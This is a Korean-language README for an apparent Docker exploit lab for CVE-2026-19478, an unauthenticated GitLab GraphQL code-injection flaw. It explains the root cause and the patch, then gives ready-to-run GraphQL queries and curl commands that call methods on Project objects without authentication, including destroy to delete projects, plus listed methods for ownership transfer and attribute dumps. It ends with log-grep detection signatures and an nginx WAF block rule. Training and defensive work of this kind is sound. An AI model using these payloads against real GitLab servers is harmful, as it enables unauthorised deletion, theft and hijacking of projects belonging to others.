
CVE-2026-19478용 도커 기반 익스플로잇 랩 및 스크립트로, 임의의 Ruby 메서드 호출, 프로젝트 삭제 및 데이터 유출을 가능하게 하는 치명적인 비인증 GitLab GraphQL 코드 인젝션입니다.
GitLab CE/EE GraphQL 디렉티브를 통한 인증 없는 원격 코드 주입 — 단일 HTTP 요청으로 모든 공개 프로젝트 삭제
CVE-2026-19478을 재현하는 실습형 침투 테스트 랩으로, GitLab GraphQL API의 치명적인(CVSS 9.4) 취약점입니다. @gl_introduced 디렉티브는 인증되지 않은 공격자가 인증 없이 서버 측 객체에 대해 임의의 Ruby 메서드를 실행할 수 있게 합니다 — 프로젝트 삭제, 데이터 유출, 소유권 이전을 포함합니다.
이 랩은 현실적인 익스플로잇 실습을 위해 Docker에서 실제 취약한 GitLab CE 19.2.0 인스턴스를 실행합니다.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-19478 |
| CVSS 점수 | 9.4 (치명적) |
| 제품 | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| 취약점 유형 | 코드 주입 / 임의 메서드 실행 (CWE-94) |
| 공격 경로 | 네트워크 (원격) |
| 인증 | 필요 없음 |
| 사용자 상호 작용 | 없음 |
| 공격 복잡도 | 낮음 |
| 영향받는 버전 | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| 패치된 버전 | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| 발견자 | hiimguardian (HackerOne 경유) |
| 패치 날짜 | 2026년 8월 17일 |
인증되지 않은 원격 공격자는 다음을 수행할 수 있습니다:
GitLab은 롤링 배포를 지원하기 위해 커스텀 GraphQL 디렉티브 @gl_introduced(version: "X.Y")를 사용합니다. 최신 GitLab 버전이 GraphQL API에 새 필드를 추가하면, 구버전 인스턴스는 해당 새 필드를 참조하는 쿼리를 오류를 반환하는 대신 null을 반환하여 정상적으로 처리합니다.
파일: lib/gitlab/graphql/version_filter/future_field_fallback.rb (14-36행)
단계별 분석:
FutureFieldFilter는 들어오는 GraphQL 쿼리를 스캔합니다. 필드에 현재 서버보다 최신 버전의 @gl_introduced(version)이 있으면 해당 필드를 제거하고 context[:contain_future_fields] = true를 설정합니다.
IntroducedTracer는 실행 시점에 원래 쿼리 문서를 복원하여 제거된 필드를 AST에 다시 넣습니다.
FutureFieldFallback#get_field는 실행 중 모든 필드 조회를 가로챕니다. 세 가지 조건을 확인합니다:
contain_future_fields 플래그가 설정되었는가? ✅__로 시작하지 않는가? ✅세 가지 확인이 모두 통과되면 resolver 클래스가 없는 새 GraphQL::Schema::Field를 합성합니다.
graphql-ruby에서 resolver가 없는 필드는 기본 Ruby 객체에 대해 object.public_send(field_name)을 호출하여 해석됩니다 — 공격자의 필드 이름이 Project ActiveRecord 모델에 대한 임의의 메서드 호출로 변환되는 것입니다.
GitLab의 패치는 암시적 메서드 디스패치를 무조건 nil을 반환하는 명시적 NilResolver로 대체하여, 임의 메서드 실행을 제거하면서 롤링 배포 호환성을 유지합니다:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| 서비스 | URL | 자격 증명 |
|---|---|---|
| GitLab 웹 UI | http://localhost | root / P@ssw0rd123! |
| GraphQL API | http://localhost/api/graphql | 필요 없음 |
| GraphQL Explorer | http://localhost/-/graphql-explorer | 로그인 필요 |
| SSH | localhost:2222 | — |
리소스가 제한된 머신이거나 더 빠른 시작이 필요할 때:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
서버 버전 확인:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
GraphQL을 통해 공개 프로젝트 열거 (인증 없음):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
스키마 인트로스펙션을 통해 @gl_introduced 디렉티브 발견:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
스키마에 존재하지 않는 필드에 미래 버전의 @gl_introduced를 사용합니다:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
취약하다면 class가 Ruby 클래스 이름("Project")을 반환하여 임의 메서드 디스패치를 확인할 수 있습니다.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
경고: 다음 작업은 프로젝트를 영구 삭제합니다.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
GitLab Project 모델에서 악용 가능한 기타 메서드:
| 메서드 | 영향 |
|---|---|
destroy | 프로젝트를 영구 삭제합니다 |
archive | 프로젝트를 보관합니다 |
transfer | 프로젝트 소유권을 이전합니다 |
attributes | 모든 데이터베이스 속성을 덤프합니다 |
repository | 저장소 객체에 접근합니다 |
members | 프로젝트 구성원을 나열합니다 |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| 지표 | 설명 |
|---|---|
@gl_introduced(version: "99.0") | 비현실적으로 높은 버전을 사용한 익스플로잇 시도 |
필드 이름: destroy, delete, update, transfer | 파괴적인 ActiveRecord 메서드를 노림 |
| 예기치 않은 프로젝트 삭제 | 관리자 조치 없이 프로젝트가 사라짐 |
| 공개 범위 변경 | 공개 프로젝트가 갑자기 비공개로 변경됨 |
| 소유권 이전 | 프로젝트가 알 수 없는 사용자에게 이전됨 |
높은 버전 번호가 포함된 @gl_introduced가 있는 GraphQL 요청을 차단합니다:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced GraphQL 요청 차단이 랩은 승인된 보안 교육 및 침투 테스트 훈련 전용으로 제작되었습니다. 소유하거나 명시적 서면 승인을 받은 통제되고 격리된 환경에서만 사용해야 합니다.
적절한 승인 없이 이 랩의 기술, 도구 또는 익스플로잇 코드를 어떤 시스템에도 사용하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 미국 컴퓨터 사기 및 남용 방지법(CFAA) 및 전 세계의 동등한 법률에 따라 불법입니다.
저자와 기여자는 이 랩 또는 그 내용으로 인해 발생한 오용이나 손해에 대해 책임을 지지 않습니다.
매일의 사이버 보안 팁, CVE 분석 및 익스플로잇 워크스루를 위해 Instagram에서 @pwnsystem을 팔로우하세요.
전문적인 보안 인사이트와 랩 업데이트를 위해 LinkedIn의 Punit Darji와 연결하세요.